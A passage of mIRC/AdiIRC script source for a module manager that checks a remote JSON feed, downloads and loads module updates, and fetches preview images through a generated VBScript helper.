  1149.     if (%name !== %org_name) && ($read($script,1) == [script]) && (!$wmm_isadi) { var %name_ini = $upper($wmm_owner) Module Manager.ini | .rename -of $qt($script) $qt($nofile($script) $+ %name_ini) | .reload -rs1 $qt($nofile($script) $+ %name_ini) | .unload -nrs $qt($script) | return }
  1150.     if (%name !== %org_name) { .rename -of $qt($script) $qt(%new_name) | .reload -rs1 $qt(%new_name) | .unload -nrs $qt($script) | return }
  1151.  
  1152.     var %pos = $wmm_getpos($mid($nopath($script),0,-4))
  1153.     if (%pos !== 1) { .reload -rs1 $qt($script) }
  1154.   }
  1155.  
  1156.   var %t = $script(0)
  1157.   while (%t) {
  1158.     var %s = $script(%t)
  1159.     var %ext = $right($nopath(%s),4)
  1160.     var %path = $wmm_getpath($mid($nopath(%s),0,-4))
  1161.  
  1162.     if ($nopath(%s) !== $nopath($script)) && (%path) && (%ext) && (%ext !== .mrc) { .unload -rs $qt($nopath(%s)) }
  1163.  
  1164.     dec %t
  1165.   }
  1166.   return
  1167.   :error | wmm_werror $scriptline $error | reseterror
  1168. }
  1169.  
  1170. alias -l wmm_reset_images {
  1171.  
  1172.   ; -i = Will fill the wmm_module dialog with the module images instead of reseting.
  1173.  
  1174.   var %h = WMM_MODULES
  1175.   var %d = wmm_module
  1176.   if (!$dialog(%d)) || ($isid) { return }
  1177.   if ($1) && ($1 == -i) && ($2) {
  1178.     var %imgs = $hget(%h,$2 $+ _images)
  1179.  
  1180.     var %i = 1
  1181.     while (%i <= $numtok(%imgs,44)) {
  1182.       if (%i == 1) {
  1183.         var %f = $wmm_temp $+ $nopath($gettok(%imgs,%i,44))
  1184.         if (!$isfile(%f)) || (!$file(%f)) { var %f = $wmm_dir $+ no_preview.png }
  1185.         if (!$isfile(%f)) || (!$file(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x026 | dialog -k $dname | return }
  1186.         did -g %d 14 $qt(%f)
  1187.       }
  1188.       if (%i == 2) {
  1189.         var %f = $wmm_temp $+ $nopath($gettok(%imgs,%i,44))
  1190.         if (!$isfile(%f)) || (!$file(%f)) { var %f = $wmm_dir $+ no_preview.png }
  1191.         if (!$isfile(%f)) || (!$file(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x027 | dialog -k $dname | return }
  1192.         did -g %d 15 $qt(%f)
  1193.       }
  1194.       if (%i == 3) {
  1195.         var %f = $wmm_temp $+ $nopath($gettok(%imgs,%i,44))
  1196.         if (!$isfile(%f)) || (!$file(%f)) { var %f = $wmm_dir $+ no_preview.png }
  1197.         if (!$isfile(%f)) || (!$file(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x028 | dialog -k $dname | return }
  1198.         did -g %d 16 $qt(%f)
  1199.       }
  1200.       inc %i
  1201.     }
  1202.     return
  1203.   }
  1204.  
  1205.   var %f = $wmm_dir $+ no_preview.png
  1206.   did -h %d 28
  1207.   if (!$isfile(%f)) || (!$file(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x008 | wmm_d_close %d }
  1208.   else { did -g %d 14,15,16 $qt(%f) }
  1209.   return
  1210.   :error | wmm_werror $scriptline $error | reseterror
  1211. }
  1212.  
  1213. alias -l wmm_mod_install {
  1214.   var %d = wmm_module
  1215.   if (!$1) || ($isid) || (!$dialog(%d)) || ($wmm_error) { return }
  1216.   if ($3 !== S_OK) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x007 | wmm_d_close %d | return }
  1217.   var %f = $noqt($5-)
  1218.   if (!$isfile(%f)) || (!$lines(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x018 | wmm_d_close %d | return }
  1219.   set -eu0 %wmm_signal_noclose 1
  1220.   .load -rs $qt(%f)
  1221.   if (!$wmm_ismod($nopath(%f))) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x012 | wmm_d_close %d | return }
  1222.   did -euz %d 6
  1223.   wmm_reset_images
  1224.   wmm_modules_installed_plus_updated_list
  1225.   wmm_input ok 60 $wmm_lang(35)
  1226.   return
  1227.   :error | wmm_werror $scriptline $error | reseterror
  1228. }
  1229.  
  1230. alias -l wmm_mod_update {
  1231.   var %d = wmm_module
  1232.   if (!$1) || ($isid) || (!$dialog(%d)) || ($wmm_error) { return }
  1233.   if ($4 !== S_OK) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x011 | wmm_d_close %d | return }
  1234.   var %f = $noqt($6-)
  1235.   if (!$isfile(%f)) || (!$lines(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x014 | wmm_d_close %d | return }
  1236.   set -eu0 %wmm_signal_noclose 1
  1237.   if ($wmm_ismod($nopath(%f))) { .unload -nrs $qt($nopath(%f)) }
  1238.   .load -rs $+ $2 $qt(%f)
  1239.   if (!$wmm_ismod($nopath(%f))) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x015 | wmm_d_close %d | return }
  1240.   wmm_modules_installed_plus_updated_list
  1241.   wmm_reset_images
  1242.   wmm_input ok 60 $wmm_lang(37)
  1243.   return
  1244.   :error | wmm_werror $scriptline $error | reseterror
  1245. }
  1246.  
  1247. alias -l wmm_check_update {
  1248.  
  1249.   ; -m = will flag that the update coming from WMM
  1250.   ; -n = will flag that the update coming from WMM settings.
  1251.   ; -s = will flag that the update coming from nowhere and it will executed as silent.
  1252.  
  1253.   if (!$1) || ($isid) { return }
  1254.   var %d = wmm_module
  1255.   var %d2 = wmm_module_sets
  1256.   var %v = wmm_update
  1257.  
  1258.   jsonopen -u %v $wmm_sets_url
  1259.   if ($jsonerror) { jsonclose %v | return }
  1260.  
  1261.   var %ver = $json(%v,latest_version).value
  1262.   var %chan = $json(%v,latest_version_channel).value
  1263.   var %date = $json(%v,latest_version_date).value
  1264.   var %url = $json(%v,latest_version_source_download).value
  1265.   if (!$wmm_isadi) { var %client = mIRC | var %client_ver = $json(%v,compatitable_mirc_version).value }
  1266.   else { var %client = AdiIRC | var %client_ver = $json(%v,compatitable_adiirc_version).value }
  1267.   jsonclose %v
  1268.  
  1269.   if (%url) && (%ver) && (%ver !== $wmm_ver) && (%chan == STABLE) {
  1270.     if ($1) && ($1 == -s) { set -eu300 %wmm_update 3 | goto end }
  1271.     var %ask = $input($wmm_lang(23) $iif(%chan,$v1,N/A) $wmm_lang(24) %ver ( $+ $iif(%date,$v1,N/A) $+ ) $wmm_lang(25) $+ . $crlf $crlf $+ $+ $wmm_lang(66) $crlf $crlf $+ $+ $wmm_lang(26),yuidbk90,$upper($wmm_owner) $wmm_lang(16) $wmm_bel $wmm_lang(22))
  1272.     if (!%ask) { return }
  1273.     if (!$wmm_internet) { wmm_input error 60 $wmm_lang(44) | set -eu0 %wmm_update 3 | return }
  1274.     :end
  1275.     if (%client_ver) && (%client_ver > $version) {
  1276.       if (%wmm_update !== 3) { wmm_input error 60 $wmm_lang(41) %client $wmm_lang(42) }
  1277.       url https:// $+ %client $+ .com
  1278.       set -eu0 %wmm_update 3
  1279.       return
  1280.     }
  1281.     wmm_d_close %d
  1282.     wmm_d_close %d2
  1283.     if ($wmm_check_initial_warn) || ($wmm_check_monitor_warn) { url %url }
  1284.     elseif (!$wmm_check_initial_warn) && (!$wmm_check_monitor_warn) {
  1285.       if ($1) && ($1 == -m) { set -eu300 %wmm_update 1 }
  1286.       if ($1) && ($1 == -n) { set -eu300 %wmm_update 2 }
  1287.       if ($wmm_isadi) { download -o wmm_check_update_install %url $qt($wmm_dir $+ $upper($wmm_owner) Module Manager.mrc) }
  1288.       else { wmm_download $qt(wmm_check_update_install) %url $qt($wmm_dir $+ $upper($wmm_owner) Module Manager.mrc) }
  1289.     }
  1290.   }
  1291.   return
  1292.   :error | wmm_werror $scriptline $error | reseterror
  1293. }
  1294.  
  1295. alias -l wmm_check_update_install {
  1296.   if ($2 !== S_OK) || ($isid) || ($wmm_error) { $iif(%wmm_update !== 3,wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x019) | unset %wmm_update | return }
  1297.   if ($4-) {
  1298.     var %lng = $wmm_dir $+ wmm_lang.ini
  1299.     var %ico = $wmm_dir $+ main.ico
  1300.     var %png = $wmm_dir $+ no_preview.png
  1301.     var %don = $wmm_dir $+ donate.png
  1302.     if ($isfile(%lng)) { .remove $qt(%lng) }
  1303.     if ($isfile(%ico)) { .remove $qt(%ico) }
  1304.     if ($isfile(%png)) { .remove $qt(%png) }
  1305.     if ($isfile(%don)) { .remove $qt(%don) }
  1306.     .timer -ho 1 1000 .load -rs1 $qt($4-)
  1307.     wmm_tool -c
  1308.     .unload -nrs $qt($script)
  1309.   }
  1310.   return
  1311.   :error | wmm_werror $scriptline $error | reseterror
  1312. }
  1313.  
  1314. alias -l wmm_modules_silent_update {
  1315.   if (!%wmm_autoupdate_modules) || ($isid) || ($dialog(wmm_module)) || ($dialog(wmm_module_sets)) || (!$wmm_internet) || ($wmm_check_initial_warn) || ($wmm_check_monitor_warn) || ($wmm_error) { return }
  1316.   if (!$isdir($wmm_dir $+ modules)) { mkdir $qt($wmm_dir $+ modules) }
  1317.   var %v = wmm_modules_silent_update
  1318.  
  1319.   jsonopen -ud %v $wmm_sets_url
  1320.   if ($jsonerror) { return }
  1321.  
  1322.   var %t = $json(%v,modules).length
  1323.   var %x = 0
  1324.   while (%x < %t) {
  1325.     var %mod = $json(%v,modules,%x,name).value
  1326.     var %path = $wmm_getpath(%mod)
  1327.  
  1328.     if (!%mod) || (!%path) || (!$istok(%wmm_autoupdate_modules,%mod,32)) { goto next }
  1329.  
  1330.     var %ver = $json(%v,modules,%x,version).value
  1331.     var %chan = $json(%v,modules,%x,state).value
  1332.     var %url = $json(%v,modules,%x,url).value
  1333.     var %alias = $json(%v,modules,%x,alias).value
  1334.     var %tools_ver = $json(%v,modules,%x,tools_ver).value
  1335.     var %iv = $iif($isalias($right(%alias,-1)),$evalnext(%alias),0)
  1336.     var %pos = $wmm_getpos(%mod)
  1337.  
  1338.     if (%url) && (%iv) && (%ver) && (%tools_ver) && (%iv !== %ver) && ($wmm_ver >= %tools_ver) && (%chan == STABLE) {
  1339.  
  1340.       var %total = $calc(%total +1)
  1341.       var %chk_sets $right($replace(%alias,_ver,_sets),-1)
  1342.       wmm_d_close %chk_sets
  1343.       if ($wmm_isadi) { .timer[WMM_MOD_SILENT_UPDATE_ $+ %mod $+ ] -ho 1 $calc(%total * 5000) download -o wmm_mod_silent_update %url $qt(%path) }
  1344.       else { .timer[WMM_MOD_SILENT_UPDATE_ $+ %mod $+ ] -ho 1 $calc(%total * 5000) wmm_download $qt(wmm_mod_silent_update %mod %pos) %url $qt(%path) }
  1345.     }
  1346.  
  1347.     :next
  1348.     inc %x
  1349.   }
  1350.   return
  1351.   :error | wmm_werror $scriptline $error | reseterror
  1352. }
  1353.  
  1354. alias -l wmm_mod_silent_update {
  1355.   var %f = $noqt($6-)
  1356.   if (!$1) || ($isid) || ($dialog(wmm_module)) || ($dialog(wmm_module_sets)) || ($4 !== S_OK) || ($wmm_error) || (!$isfile(%f)) || (!$lines(%f)) { return }
  1357.   if ($wmm_ismod($nopath(%f))) { .unload -nrs $qt($nopath(%f)) }
  1358.   .load -rs $+ $2 $qt(%f)
  1359.   return
  1360.   :error | wmm_werror $scriptline $error | reseterror
  1361. }
  1362.  
  1363. alias -l wmm_modules_list {
  1364.   var %d = wmm_module
  1365.   var %h = WMM_MODULES
  1366.   var %hs = WMM_MODULES_SUBMENU_INSTALLED
  1367.   if (!$dialog(%d)) || ($isid) { return }
  1368.   if ($hget(%h)) { hfree $v1 }
  1369.   if ($hget(%hs)) { hfree $v1 }
  1370.   did -rb %d 6
  1371.   hmake %h 1000
  1372.   hmake %hs 1000
  1373.   var %v = wmm_modules_list_get
  1374.  
  1375.   if ($isfile($wmm_sets_file)) && ($lines($wmm_sets_file)) { jsonopen -f %v $qt($wmm_sets_file) }
  1376.   else { jsonopen -u %v $wmm_sets_url }
  1377.   if ($jsonerror) { jsonclose %v | wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x003 | wmm_d_close %d | return }
  1378.  
  1379.   var %t = $json(%v,modules).length
  1380.   var %x = 0
  1381.   while (%x < %t) {
  1382.     var %mod = $json(%v,modules,%x,name).value
  1383.     if (!%mod) { goto next }
  1384.  
  1385.     .timer[WMM_MODULES_LIST_GET_ $+ %mod $+ ] -ho 1 $calc(%x * 300) wmm_modules_list_get %v %x %t %mod
  1386.  
  1387.     :next
  1388.     inc %x
  1389.   }
  1390.   return
  1391.   :error | wmm_werror $scriptline $error | reseterror
  1392. }
  1393.  
  1394. alias -l wmm_modules_list_get {
  1395.   var %d = wmm_module
  1396.   if ($1 == $null) || ($2 == $null) || ($3 == $null) || ($4 == $null) || ($isid) || (!$dialog(%d)) { return }
  1397.  
  1398.   var %h = WMM_MODULES
  1399.   var %hs = WMM_MODULES_SUBMENU_INSTALLED
  1400.   var %v = $1
  1401.   var %x = $2
  1402.   var %t = $3
  1403.   var %mod = $4
  1404.  
  1405.   var %desc = $json(%v,modules,%x,description).value
  1406.   var %images = $json(%v,modules,%x,images).value
  1407.   var %examples = $json(%v,modules,%x,examples).value
  1408.   var %changelog = $json(%v,modules,%x,changelog).value
  1409.   var %ver = $json(%v,modules,%x,version).value
  1410.   var %date = $json(%v,modules,%x,date).value
  1411.   var %alias = $json(%v,modules,%x,alias).value
  1412.   var %chan = $json(%v,modules,%x,state).value
  1413.   var %tools_ver = $json(%v,modules,%x,tools_ver).value
  1414.   var %extra_id = $json(%v,modules,%x,extra_id).value
  1415.   var %owner = $json(%v,modules,%x,owner).value
  1416.   var %url = $json(%v,modules,%x,url).value
  1417.  
  1418.   did -a %d 6 %mod
  1419.   if ($did(%d,6).lines) { did -ra %d 2 $wmm_lang(3) ( $+ $did(%d,6).lines $+ ) }
  1420.   else { did -ra %d 2 $wmm_lang(3) }
  1421.  
  1422.   var %mod_alias_name = $upper($right($gettok(%alias,1,95),-1))
  1423.   var %key = $json(%v,modules,%x,api_key).value
  1424.   var %key2 = $json(%v,modules,%x,api_key2).value
  1425.  
  1426.   if (%mod_alias_name) && (%key) { hadd -m %mod_alias_name $+ _KEYS KEY %key }
  1427.   if (%mod_alias_name) && (%key2) { hadd -m %mod_alias_name $+ _KEYS KEY2 %key2 }
  1428.  
  1429.   var %a = $replace($right(%alias,-1),_ver,_sets)
  1430.   if (!$hget(%hs,%mod)) && (%a) { hadd %hs %mod %a }
  1431.  
  1432.   if (%alias) {
  1433.     hadd %h %mod $+ _check_version_alias %alias
  1434.     hadd %h %mod $+ _check_version $iif($isalias($right(%alias,-1)),$evalnext(%alias),0)
  1435.   }
  1436.  
  1437.   if (%ver) { hadd %h %mod $+ _version %ver }
  1438.   if (%chan) { hadd %h %mod $+ _channel %chan }
  1439.   if (%date) { hadd %h %mod $+ _crdate %date }
  1440.   if (%url) { hadd %h %mod $+ _url %url }
  1441.   if (%owner) { hadd %h %mod $+ _author %owner }
  1442.   if (%tools_ver) { hadd %h %mod $+ _tools_ver %tools_ver }
  1443.   if (%extra_id) { hadd %h %mod $+ _extra_id %extra_id }
  1444.   if (%desc) { hadd %h %mod $+ _desc %desc }
  1445.   if (%changelog) { hadd %h %mod $+ _changelog %changelog }
  1446.   if (%examples) { hadd %h %mod $+ _examples %examples }
  1447.   if (%images) {
  1448.     hadd %h %mod $+ _images %images
  1449.     if (!$wmm_isadi) { wmm_get_images %images }
  1450.   }
  1451.  
  1452.   if (%x == $calc(%t -1)) {
  1453.     var %news = $json(%v,latest_news).value
  1454.     if (%news) { var %news = $replace(%news,@newline@,$+ $+ $crlf $+ $+) | did -ra %d 26 %news }
  1455.     else { did -ra %d 26 $wmm_lang(58) }
  1456.     if ($did(%d,6).lines) {
  1457.       var %r = $wmm_lang(3) ( $+ $did(%d,6).lines $+ )
  1458.       if ($did(%d,2) !== %r) { did -ra %d 2 %r }
  1459.       did -e %d 6
  1460.     }
  1461.     else {
  1462.       var %r = $wmm_lang(3)
  1463.       if ($did(%d,2) !== %r) { did -ra %d 2 %r }
  1464.     }
  1465.     if (!$wmm_isadi) { .timer[WMM_DOWNLOAD_IMAGES] -ho 1 4000 wmm_dl_images_now }
  1466.     else { .timer[WMM_DOWNLOAD_IMAGES] -ho 1 2000 wmm_dl_images_now }
  1467.  
  1468.     jsonclose %v
  1469.     wmm_modules_installed_plus_updated_list
  1470.   }
  1471.   return
  1472.   :error | wmm_werror $scriptline $error | reseterror
  1473. }
  1474.  
  1475. alias -l wmm_modules_installed_plus_updated_list {
  1476.   var %d = wmm_module
  1477.   var %h = WMM_MODULES
  1478.   if (!$dialog(%d)) || ($isid) { return }
  1479.   var %t = $did(%d,6).lines
  1480.   did -b %d 7,8,11,12,13,60,600
  1481.   did -r %d 8,60,600,250
  1482.   did -h %d 250
  1483.   if (!%t) { return }
  1484.   var %i = 1
  1485.   while (%i <= %t) {
  1486.     var %mod = $did(%d,6,%i)
  1487.     var %path = $wmm_getpath(%mod)
  1488.     if (!%mod) || (!%path) { goto next }
  1489.  
  1490.     did -a %d 60 %mod
  1491.  
  1492.     var %mod_ver = $hget(%h,%mod $+ _check_version_alias)
  1493.     var %iv = $iif($isalias($right(%mod_ver,-1)),$evalnext(%mod_ver),0)
  1494.     var %ver = $hget(%h,%mod $+ _version)
  1495.     if (%iv) && (%ver) && (%iv !== %ver) { did -a %d 600 %mod }
  1496.  
  1497.     :next
  1498.     inc %i
  1499.   }
  1500.   if ($did(%d,60).lines) {
  1501.     var %r = $wmm_lang(2) ( $+ $did(%d,60).lines $+ )
  1502.     if ($did(%d,3) !== %r) { did -ra %d 3 %r }
  1503.     did -ez %d 60
  1504.   }
  1505.   else {
  1506.     if ($did(%d,3) !== $wmm_lang(2)) { did -ra %d 3 $wmm_lang(2) }
  1507.   }
  1508.   if ($did(%d,600).lines) {
  1509.     var %r = $wmm_lang(7) ( $+ $did(%d,600).lines $+ )
  1510.     if ($did(%d,4) !== %r) { did -ra %d 4 %r }
  1511.     did -ez %d 600
  1512.   }
  1513.   else {
  1514.     if ($did(%d,4) !== $wmm_lang(7)) { did -ra %d 4 $wmm_lang(7) }
  1515.   }
  1516.   if ($dialog(%d).tab == 3) || ($dialog(%d).tab == 4) { did -ra %d 9 $wmm_lang(59) }
  1517.   elseif ($dialog(%d).tab == 2) { did -ra %d 9 $wmm_lang(9) }
  1518.   return
  1519.   :error | wmm_werror $scriptline $error | reseterror
  1520. }
  1521.  
  1522. alias -l wmm_get_images {
  1523.   var %d = wmm_module
  1524.   if (!$1) || (!$dialog(%d)) || ($isid) { return }
  1525.   var %fw = $wmm_temp $+ wmm_images_urls.txt
  1526.   var %t = $numtok($1-,44)
  1527.   var %i = 1
  1528.   while (%i <= %t) {
  1529.     var %f = $gettok($1-,%i,44)
  1530.     var %ft = $wmm_temp $+ $gettok(%f,$numtok(%f,47),47)
  1531.     var %fd = $date($file(%ft).mtime,dd/mm/yyyy)
  1532.  
  1533.     if (!$isfile(%ft)) || (!$file(%ft)) || (%fd !== $date) { write $qt(%fw) %f }
  1534.  
  1535.     inc %i
  1536.   }
  1537.   return
  1538.   :error | wmm_werror $scriptline $error | reseterror
  1539. }
  1540.  
  1541. alias -l wmm_dl_images_now {
  1542.   var %f = $wmm_temp $+ wmm_dl_images.vbs
  1543.   var %fx = $wmm_temp $+ wmm_images_urls.txt
  1544.   var %n = wmm_dl_images
  1545.   var %w = .fwrite -n %n
  1546.  
  1547.   if (!$wmm_internet) {
  1548.     if (!$wmm_isadi) {
  1549.       if ($fopen(%n)) { .fclose %n }
  1550.       if ($isfile(%fx)) { .remove $qt(%fx) }
  1551.       if ($isfile(%f)) { .remove $qt(%f) }
  1552.     }
  1553.     return
  1554.   }
  1555.  
  1556.   if ($wmm_isadi) {
  1557.     var %zip = $wmm_temp $+ wmm_modules_images.zip
  1558.     var %fd = $date($file(%zip).mtime,dd/mm/yyyy)
  1559.     if (%fd !== $date) { download -o %n $wmm_modules_images_url $qt(%zip) }
  1560.   }
  1561.   elseif (!$wmm_isadi) {
  1562.     if ($isfile(%fx)) && ($lines(%fx)) {
  1563.  
  1564.       .fopen -ox %n $qt(%f)
  1565.  
  1566.       %w Function ReplaceRegEx(origString,replaceString,replaceWith)
  1567.       %w Set TempRegEx=New RegExp
  1568.       %w TempRegEx.Pattern=replaceString
  1569.       %w TempRegEx.IgnoreCase=True
  1570.       %w ReplaceRegEx = TempRegEx.Replace(origString,replaceWith)
  1571.       %w End Function
  1572.       %w Set objFSO = CreateObject("Scripting.FileSystemObject")
  1573.       %w Set objDictionary = CreateObject("Scripting.Dictionary")
  1574.       %w currentDirectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))
  1575.       %w UserInput = $qt($nopath(%fx))
  1576.       %w strHDLocationLinks = currentDirectory&""&UserInput
  1577.       %w If UserInput = "" Then
  1578.       %w Else
  1579.       %w If objFSO.FileExists(currentDirectory & UserInput) Then
  1580.       %w    ForReading = UserInput
  1581.       %w    Set objFile = objFSO.OpenTextFile(currentDirectory & UserInput,1)
  1582.       %w    i = 0
  1583.       %w        Do Until objFile.AtEndOfStream
  1584.       %w                strNextLine = objFile.Readline
  1585.       %w                If strNextLine <> "" Then
  1586.       %w                    objDictionary.Add i, strNextLine
  1587.       %w                End If
  1588.       %w                i = i + 1
  1589.       %w          Loop
  1590.       %w          objFile.Close
  1591.       %w          currentDirectory=Mid(currentDirectory,1,Len(currentDirectory)-1)
  1592.       %w          For Each strLine in objDictionary.Items
  1593.       %w                Set objFSO = CreateObject("Scripting.FileSystemObject")
  1594.       %w                linkNameSplit=Split(strLine,"/")
  1595.       %w                linkNameNumber=UBound(linkNameSplit)
  1596.       %w                linkNameTemp=""
  1597.       %w                For i = 3 To linkNameNumber-1
  1598.       %w                      linkNameTemp=linkNameTemp&"\"&linkNameSplit(i)
  1599.       %w                Next
  1600.       %w                strFileURL = strLine
  1601.       %w                strHDLocation = currentDirectory&"\"&linkNameSplit(linkNameNumber)
  1602.       %w                Set objXMLHTTP = CreateObject("MSXML2.SERVERXMLHTTP.6.0")
  1603.       %w                objXMLHTTP.open "GET", strFileURL, false
  1604.       %w                objXMLHTTP.send()
  1605.       %w                If objXMLHTTP.Status = 200 Then
  1606.       %w                      Set objADOStream = CreateObject("ADODB.Stream")
  1607.       %w                      objADOStream.Open
  1608.       %w                      objADOStream.Type = 1
  1609.       %w                      objADOStream.Write objXMLHTTP.ResponseBody
  1610.       %w                      objADOStream.Position = 0
  1611.       %w                      Set objFSO = Createobject("Scripting.FileSystemObject")
  1612.       %w                      If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
  1613.       %w                      Set objFSO = Nothing
  1614.       %w                      objADOStream.SaveToFile strHDLocation
  1615.       %w                      objADOStream.Close
  1616.       %w                      Set objADOStream = Nothing
  1617.       %w                  End if
  1618.       %w                Set objXMLHTTP = Nothing
  1619.       %w          Next
  1620.       %w          Set objFSO = Createobject("Scripting.FileSystemObject")
  1621.       %w          If objFSO.Fileexists(strHDLocationLinks) Then objFSO.DeleteFile strHDLocationLinks
  1622.       %w          If objFSO.Fileexists(WScript.ScriptFullName) Then objFSO.DeleteFile WScript.ScriptFullName
  1623.       %w    Else
  1624.       %w    End if
  1625.       %w End if
  1626.  
  1627.       .fclose %n
  1628.  
  1629.       if ($isfile(%f)) && ($lines(%f) == 60) { run -h $qt(%f) }
  1630.     }
  1631.   }
  1632.   return
  1633.   :error | wmm_werror $scriptline $error | reseterror
  1634. }
  1635.  
  1636. alias -l wmm_tool {
  1637.  
  1638.   ; -s = start toolbar
  1639.   ; -c = close toolbar
  1640.   ; -e = check the toolbar
  1641.   ; -b = uncheck the toolbar
  1642.   ; -t = update tooltip via correct language
  1643.  
  1644.   if (!$1) || ($left($1,1) !== -) || ($wmm_error) || ($isid) || (s !isincs $1) && (c !isincs $1) && (t !isincs $1) && (e !isincs $1) && (b !isincs $1) { return }
  1645.   if (!%wmm_tool) && ($toolbar(wmm)) { wmm_t_close wmm | wmm_t_close wmm1 | return }
  1646.   if (s isincs $1) && (%wmm_tool) {
  1647.     var %d = wmm_module
  1648.     var %ico = $wmm_dir $+ main.ico
  1649.     if (!$isfile(%ico)) || (!$file(%ico)) { wmm_dl $wmm_main_ico_url $qt(%ico) | return }
  1650.     wmm_t_close wmm
  1651.     wmm_t_close wmm1
  1652.     toolbar -as wmm1
  1653.     toolbar -ak $+ $iif($dialog(%d),1,0) wmm $qt($upper($wmm_owner) $wmm_lang(16) - ( $+ $wmm_lang(74) $+ )) $qt(%ico) $qt(/wmm_check_open) @wmm
  1654.   }
  1655.   if (c isincs $1) { wmm_t_close wmm | wmm_t_close wmm1 }
  1656.   if (t isincs $1) && ($toolbar(wmm)) && (%wmm_tool) { toolbar -t wmm $qt($upper($wmm_owner) $wmm_lang(16) - ( $+ $wmm_lang(74) $+ )) }
  1657.   if (e isincs $1) && ($toolbar(wmm)) && (%wmm_tool) { toolbar -k1 wmm }
  1658.   if (b isincs $1) && ($toolbar(wmm)) && (%wmm_tool) { toolbar -k0 wmm }
  1659.   return
  1660.   :error | wmm_werror $scriptline $error | reseterror
  1661. }
  1662.  
  1663. alias -l wmm_check_open {
  1664.   if ($isid) || ($wmm_error) { return }
  1665.   if ($dialog(wmm_module)) { wmm | return }
  1666.   if ($dialog(wmm_module_sets)) { wmm_sets | return }
  1667.   wmm
  1668.   return
  1669.   :error | wmm_werror $scriptline $error | reseterror
  1670. }
  1671.  
  1672. alias -l wmm_modules_settings_list {
  1673.   var %hs = WMM_MODULES_SUBMENU_INSTALLED
  1674.   var %d = wmm_module_sets
  1675.   if (!$dialog(%d)) || ($isid) { return }
  1676.   if ($hget(%hs)) { hfree %hs }
  1677.  
  1678.   if (%wmm_autoupdate_modules) {
  1679.     var %i = 1
  1680.     while (%i <= $numtok(%wmm_autoupdate_modules,32)) {
  1681.       var %m = $gettok(%wmm_autoupdate_modules,%i,32)
  1682.  
  1683.       if (!%m) { goto next2 }
  1684.       if (!$wmm_getpath(%m)) { set %wmm_autoupdate_modules $remtok(%wmm_autoupdate_modules,%m,1,32) | goto next2 }
  1685.  
  1686.       did -a %d 5 %m
  1687.  
  1688.       :next2
  1689.       inc %i
  1690.     }
  1691.   }
  1692.   else { did -b %d 5,6 }
  1693.  
  1694.   hmake %hs 1000
  1695.   did -r %d 3
  1696.   did -b %d 3,4
  1697.   var %v = wmm_modules_sets
  1698.  
  1699.   if ($isfile($wmm_sets_file)) && ($lines($wmm_sets_file)) { jsonopen -fd %v $qt($wmm_sets_file) }
  1700.   else { jsonopen -ud %v $wmm_sets_url }
  1701.   if ($jsonerror) { return }
  1702.  
  1703.   var %t = $json(%v,modules).length
  1704.   if (!%t) { return }
  1705.   var %x = 0
  1706.   while (%x < %t) {
  1707.     var %mod = $json(%v,modules,%x,name).value
  1708.     var %alias = $json(%v,modules,%x,alias).value
  1709.  
  1710.     var %mod_alias_name = $upper($right($gettok(%alias,1,95),-1))
  1711.     var %key = $json(%v,modules,%x,api_key).value
  1712.     var %key2 = $json(%v,modules,%x,api_key2).value
  1713.  
  1714.     if (%mod_alias_name) && (%key) { hadd -m %mod_alias_name $+ _KEYS KEY %key }
  1715.     if (%mod_alias_name) && (%key2) { hadd -m %mod_alias_name $+ _KEYS KEY2 %key2 }
  1716.  
  1717.     var %a = $replace($right(%alias,-1),_ver,_sets)
  1718.     if (%mod) && (%a) && (!$hget(%hs,%mod)) { hadd %hs %mod %a }
  1719.  
  1720.     if (!%mod) || (!$wmm_getpath(%mod)) || ($didwm(%d,5,%mod)) { goto next }
  1721.  
  1722.     did -a %d 3 %mod
  1723.  
  1724.     :next
  1725.     inc %x
  1726.   }
  1727.   if ($did(%d,3).lines) { did -ra %d 7 $wmm_lang(67) ( $+ $did(%d,3).lines $+ ) | did -e %d 3 }
  1728.   else { did -b %d 3,4 }
  1729.   if ($did(%d,5).lines) { did -ra %d 8 $wmm_lang(68) ( $+ $did(%d,5).lines $+ ) | did -e %d 5 }
  1730.   else { did -b %d 6 }
  1731.   return
  1732.   :error | wmm_werror $scriptline $error | reseterror
  1733. }
  1734.  
  1735. alias -l wmm_modules_menu_get_installed {
  1736.  
  1737.   ; -g = will try to get and save only the MENUS and KEYS in hash.
  1738.  
  1739.   if ($wmm_error) { return }
  1740.   if ($1) && ($1 == -g) { goto start }
  1741.   if ($isid) || ($dialog(wmm_module)) || ($dialog(wmm_module_sets)) || ($wmm_check_initial_warn) || ($wmm_check_monitor_warn) { return }
  1742.   if (!$isdir($wmm_dir $+ modules)) { mkdir $qt($wmm_dir $+ modules) }
  1743.   :start
  1744.   var %h = WMM_MODULES_SUBMENU_INSTALLED
  1745.   var %v = wmm_modules_menu_get_installed
  1746.   if ($hget(%h)) { hfree $v1 }
  1747.   hmake %h 1000
  1748.  
  1749.   if ($isfile($wmm_sets_file)) && ($lines($wmm_sets_file)) { jsonopen -fd %v $qt($wmm_sets_file) }
  1750.   else { jsonopen -ud %v $wmm_sets_url }
  1751.   if ($jsonerror) { return }
  1752.  
  1753.   var %t = $json(%v,modules).length
  1754.   var %x = 0
  1755.   while (%x < %t) {
  1756.     var %mod = $json(%v,modules,%x,name).value
  1757.     var %alias = $json(%v,modules,%x,alias).value
  1758.     var %a = $right($replace(%alias,_ver,_sets),-1)
  1759.  
  1760.     var %mod_alias_name = $upper($right($gettok(%alias,1,95),-1))
